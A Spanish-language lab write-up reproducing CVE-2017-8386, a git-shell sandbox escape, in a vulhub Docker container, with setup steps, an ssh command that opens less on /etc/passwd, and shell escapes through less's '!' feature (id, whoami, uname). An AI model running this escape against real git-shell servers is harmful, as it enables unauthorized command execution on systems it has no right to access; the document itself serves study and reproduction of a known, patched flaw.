
PoC para CVE-2017-8386, vulnerabilidad de evasión del sandbox de Git-Shell.
정수진(@suz1n)
Git-shell proporciona un entorno que solo permite comandos git restringidos a través de SSH. Sin embargo, en versiones específicas de git-shell (como la 2.12.2) existe una vulnerabilidad (CVE-2017-8386) que permite evadir la sandbox y ejecutar comandos del sistema abusando del comando less.
Este informe documenta la ejecución de un PoC para esta vulnerabilidad y resume el proceso.
git clone https://github.com/phith0n/vulhub.git
cd vulhub/git/CVE-2017-8386/

• Imagen base Ubuntu 16.04
• Instalación de Git 2.12.2 desde el código fuente
• Instalación y ejecución del servidor OpenSSH
• Configuración del entorno git-shell (creación del usuario git)
docker-compose build
docker-compose up -d
docker ps
• Verificación de la ejecución del contenedor (git-shell-cve-2017-8386)

1. Generar y copiar id_rsa.pub localmente
2. Acceder al interior del contenedor y cambiar al usuario git
3. Registrar authorized_keys
docker exec -it git-shell-cve-2017-8386 /bin/bash
chsh -s /bin/bash git
su git
mkdir -p ~/.ssh
chmod 700 ~/.ssh
touch ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
vim ~/.ssh/authorized_keys

apt update
apt install less -y
apt install man-db -y
• Instalación completada de los paquetes less y man para llevar a cabo el PoC
ssh -p 3322 -i id_rsa -t [email protected] "less /etc/passwd"
• Entrada exitosa a la pantalla de less
• Es posible ejecutar comandos del sistema mediante el comando !
• !id -> muestra el ID de usuario y el ID de grupo

• !whoami -> usuario actual (git)
• !uname -a -> muestra la información del kernel del sistema
• !ls /home/git -> muestra la lista de archivos del directorio home de git
• En el entorno de git-shell se restringe al usuario para que no pueda ejecutar comandos del sistema.
• Sin embargo, mediante el comando `git-upload-archive --help` es posible invocar less internamente.
• El comando less admite la ejecución de comandos de shell del sistema mediante la función !.
• En consecuencia, es posible evadir la sandbox de git-shell y ejecutar comandos arbitrarios.
• Blog de Insinuator: https://insinuator.net/2017/05/git-shell-bypass-by-abusing-less-cve-2017-8386/
• Repositorio de GitHub de Vulhub: https://github.com/phith0n/vulhub